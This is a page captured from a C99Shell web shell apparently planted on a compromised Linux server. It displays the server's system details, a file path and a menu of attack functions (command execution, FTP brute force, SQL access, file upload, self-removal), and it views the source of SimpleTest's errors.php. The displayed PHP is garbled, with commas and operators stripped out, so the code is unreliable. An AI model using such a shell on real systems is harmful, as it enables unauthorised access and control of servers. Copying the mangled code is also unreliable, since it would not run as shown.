!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simpletest/   drwxr-xr-x
Free 14.72 GB of 61.93 GB (23.77%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     errors.php (4.73 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
/**
     *    base include file for SimpleTest
     *    @package    SimpleTest
     *    @subpackage    UnitTester
     *    @version    $Id: errors.php,v 1.13 2005/01/08 03:48:39 lastcraft Exp $
     */
    /** @ignore - PHP5 compatibility fix. */
    
if (! defined('E_STRICT')) {
        
define('E_STRICT'2048);
    }
    
    
/**
     *    Singleton error queue used to record trapped
     *    errors.
     *      @package    SimpleTest
     *      @subpackage    UnitTester
     */
    
class SimpleErrorQueue {
        var 
$_queue;
        
        
/**
         *    Starts with an empty queue.
         *    @access public
         */
        
function SimpleErrorQueue() {
            
$this->clear();
        }
        
        
/**
         *    Adds an error to the front of the queue.
         *    @param $severity        PHP error code.
         *    @param $message         Text of error.
         *    @param $filename        File error occoured in.
         *    @param $line            Line number of error.
         *    @param $super_globals   Hash of PHP super global arrays.
         *    @access public
         */
        
function add($severity$message$filename$line$super_globals) {
            
array_push(
                    
$this->_queue,
                    array(
$severity$message$filename$line$super_globals));
        }
        
        
/**
         *    Pulls the earliest error from the queue.
         *    @return     False if none, or a list of error
         *                information. Elements are: severity
         *                as the PHP error code, the error message,
         *                the file with the error, the line number
         *                and a list of PHP super global arrays.
         *    @access public
         */
        
function extract() {
            if (
count($this->_queue)) {
                return 
array_shift($this->_queue);
            }
            return 
false;
        }
        
        
/**
         *    Discards the contents of the error queue.
         *    @access public
         */
        
function clear() {
            
$this->_queue = array();
        }
        
        
/**
         *    Tests to see if the queue is empty.
         *    @return        True if empty.
         */
        
function isEmpty() {
            return (
count($this->_queue) == 0);
        }
        
        
/**
         *    Global access to a single error queue.
         *    @return        Global error queue object.
         *    @access public
         *    @static
         */
        
static function &instance() {
            static 
$queue false;
            if (! 
$queue) {
                
$queue = new SimpleErrorQueue();
            }
            return 
$queue;
        }
        
        
/**
         *    Converst an error code into it's string
         *    representation.
         *    @param $severity  PHP integer error code.
         *    @return           String version of error code.
         *    @access public
         *    @static
         */
        
static function getSeverityAsString($severity) {
            static 
$map = array(
                    
E_STRICT => 'E_STRICT',
                    
E_ERROR => 'E_ERROR',
                    
E_WARNING => 'E_WARNING',
                    
E_PARSE => 'E_PARSE',
                    
E_NOTICE => 'E_NOTICE',
                    
E_CORE_ERROR => 'E_CORE_ERROR',
                    
E_CORE_WARNING => 'E_CORE_WARNING',
                    
E_COMPILE_ERROR => 'E_COMPILE_ERROR',
                    
E_COMPILE_WARNING => 'E_COMPILE_WARNING',
                    
E_USER_ERROR => 'E_USER_ERROR',
                    
E_USER_WARNING => 'E_USER_WARNING',
                    
E_USER_NOTICE => 'E_USER_NOTICE');
            return 
$map[$severity];
        }
    }
    
    
/**
     *    Error handler that simply stashes any errors into the global
     *    error queue. Simulates the existing behaviour with respect to
     *    logging errors, but this feature may be removed in future.
     *    @param $severity        PHP error code.
     *    @param $message         Text of error.
     *    @param $filename        File error occoured in.
     *    @param $line            Line number of error.
     *    @param $super_globals   Hash of PHP super global arrays.
     *    @static
     *    @access public
     */
    
function simpleTestErrorHandler($severity$message$filename$line$super_globals
    {
        if (
$severity $severity error_reporting()) {
            
restore_error_handler();
            if (
ini_get('log_errors')) {
                
$label SimpleErrorQueue::getSeverityAsString($severity);
                
error_log("$label$message in $filename on line $line");
            }
            
$queue = &SimpleErrorQueue::instance();
            
$queue->add($severity$message$filename$line$super_globals);
            
set_error_handler('simpleTestErrorHandler');
        }
    }
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 1.0308 ]--